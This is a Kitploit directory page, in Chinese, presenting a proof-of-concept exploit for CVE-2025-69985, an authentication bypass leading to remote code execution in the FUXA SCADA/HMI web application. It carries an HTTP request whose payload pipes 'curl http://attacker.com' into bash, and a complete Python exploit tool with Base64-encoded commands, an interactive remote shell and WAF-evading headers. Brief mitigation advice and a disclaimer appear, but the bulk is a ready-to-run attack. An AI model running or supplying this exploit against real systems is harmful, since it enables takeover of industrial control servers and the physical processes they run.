Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-69985 — 针对CVE-2025-69985的PoC漏洞利用:FUXA SCADA ≤1.2.8中的认证绕过导致远程代码执行。包含一个模块化Python漏洞利用,具有交互式Shell、Base64载荷编码和代理支持,用于渗透测试。 | Kitploit
工具/GitHubGitHub/kaleth4/cve-2025-69985
身份验证与授权漏洞分析漏洞利用SCADA/ICS安全Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubkaleth4/cve-2025-69985

CVE-2025-69985

针对CVE-2025-69985的PoC漏洞利用:FUXA SCADA ≤1.2.8中的认证绕过导致远程代码执行。包含一个模块化Python漏洞利用,具有交互式Shell、Base64载荷编码和代理支持,用于渗透测试。

查看仓库
74个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-69985: FUXA ≤1.2.8 中从身份验证绕过到远程代码执行的利用程序


📌 概述

本仓库包含针对影响 FUXA(版本 ≤1.2.8)的漏洞 CVE-2025-69985 的 概念验证(PoC) 及详细技术文档。该漏洞允许 未经身份验证 的攻击者通过应用程序中间件的 身份验证绕过 在服务器上执行 任意命令(远程代码执行)。

与传统的基于 Windows 的内存溢出漏洞不同,此缺陷源于 中间件的逻辑缺陷,服务器因对 Referer 头的错误验证而 将外部请求误判为内部请求。


🚨 技术摘要

CVECVE-2025-69985
类型通过替代路径的身份验证绕过 (CWE-288)
影响远程代码执行 (RCE)
严重性9.8 严重 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
受影响版本FUXA ≤ 1.2.8
平台Node.js
产品FUXA(基于 Web 的 SCADA/HMI)

🔍 攻击向量分析

1️⃣ 身份验证绕过

FUXA 的中间件 完全信任 Referer 头。如果攻击者发送一个包含以下内容的请求:

root@kitploit:~
Referer: http://<target-ip>/

服务器 假定该请求来自内部,并 跳过 JWT 令牌验证,从而允许 未经身份验证 访问受保护的端点。


2️⃣ 远程代码执行 (RCE)

一旦绕过身份验证,攻击者可以与 /api/runscript 端点交互,该端点设计用于执行 Node.js 脚本。通过发送 恶意 JSON 负载,攻击者可以 完全控制服务器进程。


🛠️ 概念验证(PoC)

📌 利用示例(HTTP 请求)

root@kitploit:~
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json

{
    "script": "require('child_process').exec('curl http://attacker.com | bash')",
    "parameters": {}
}

⚠️ 注意: 此示例仅供说明。未经授权,请勿在生产环境中执行。


💻 受影响系统

产品版本平台
FUXA≤ 1.2.8Node.js

🛡️ 缓解措施与解决方案

✅ 推荐解决方案

  1. 立即更新 将 FUXA 更新至 高于 1.2.8 的版本(官方补丁)。

  2. 手动修补 修改 server/api/jwt-helper.js 以 移除对 Referer 头的信任 作为身份验证方法。

  3. 部署 WAF 配置 ** Web 应用防火墙**,阻止来自 已知管理网络 以外的对 /api/runscript 端点的请求,而不考虑 Referer 头。


⚠️ 免责声明

🔴 此材料仅用于教育和安全审计目的。 🔴 未经明确授权使用这些技术攻击系统是违法的。 🔴 作者不对滥用此信息的行为承担任何责任。


📚 参考

  • NVD NIST - CVE-2025-69985
  • FUXA GitHub 仓库

🚀 重构的“专业版”利用程序(Python)

高级特性,使此利用程序达到专业水平(类似 Exploit-DB 或红队工具):

✨ 关键改进

📄 利用程序代码(fuxa-exploit.py)

root@kitploit:~
import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional

# 外观配置
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Logger:
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    BLUE = '\033[94m'
    RESET = '\033[0m'

    @staticmethod
    def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
    @staticmethod
    def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
    @staticmethod
    def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
    @staticmethod
    def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")

class FuxaExploit:
    def __init__(self, base_url: str, proxy: Optional[str] = None):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
            "Referer": f"{self.base_url}/fuxa"
        })

    def check_vulnerable(self) -> bool:
        """攻击前检查端点是否存在。"""
        try:
            r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
            return r.status_code in [401, 405, 200] # 取决于 WAF/应用程序配置
        except Exception:
            return False

    def execute(self, command: str) -> str:
        # 增强负载:Base64 编码以避免破坏 JSON
        b64_cmd = base64.b64encode(command.encode()).decode()

        js_code = (
            f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
            "const r = require('child_process').execSync(c);"
            "return r.toString();"
        )

        payload = {
            "params": {
                "script": {
                    "id": "exp", "name": "exp",
                    "code": js_code, "test": js_code
                }
            }
        }

        try:
            r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
            return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
        except Exception as e:
            return f"Exception: {str(e)}"

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-c", "--cmd", help="Single command to execute")
    parser.add_argument("-i", "--interactive", action="store_true", help="Spawn a pseudo-interactive shell")
    parser.add_argument("--proxy", help="HTTP proxy (ex: http://127.0.0.1:8080)")

    args = parser.parse_args()
    exploit = FuxaExploit(args.url, args.proxy)

    Logger.info(f"Targeting: {args.url}")

    if args.interactive:
        Logger.success("Entering interactive mode. Type 'exit' to quit.")
        while True:
            try:
                cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
                if cmd.lower() in ['exit', 'quit']: break
                if not cmd: continue
                print(exploit.execute(cmd))
            except KeyboardInterrupt: break
    elif args.cmd:
        Logger.info(f"Executing: {args.cmd}")
        print(exploit.execute(args.cmd))
    else:
        parser.print_help()

if __name__ == "__main__":
    main()

⚠️ 负责任使用: 仅在受控环境并获得明确授权的情况下执行。


🎯 为何称之为“专业版”?

root@kitploit:~
下载工具
特性描述
🔹 动态 Shell 处理--interactive (-i) 模式打开一个 交互式 REPL,用于执行多条命令。
🔹 检测与指纹识别在发起攻击前检查 /api/runscript 端点是否存在(check_vulnerable())。
🔹 增强负载命令经过 Base64 编码,以避免字符转义问题(如 &、>、" 等)。
🔹 网络稳健性支持 随机 User-Agent 和 代理(适用于 Burp Suite 或调试)。
🔹 面向对象编程模块化、可重用、可扩展的 FuxaExploit 类。
特性优势
🔹 面向对象编程模块化:FuxaExploit 类可被其他脚本或工具导入。
🔹 Base64 绕过避免复杂命令中的转义问题(如 &、>、" 等)。
🔹 伪 Shell (-i)允许 交互式探索系统,无需重启脚本。
🔹 代理支持用于使用 Burp Suite 或 mitmproxy 等工具 调试 利用程序。
🔹 真实 Headers浏览器 User-Agent,以 规避基本的 WAF 签名。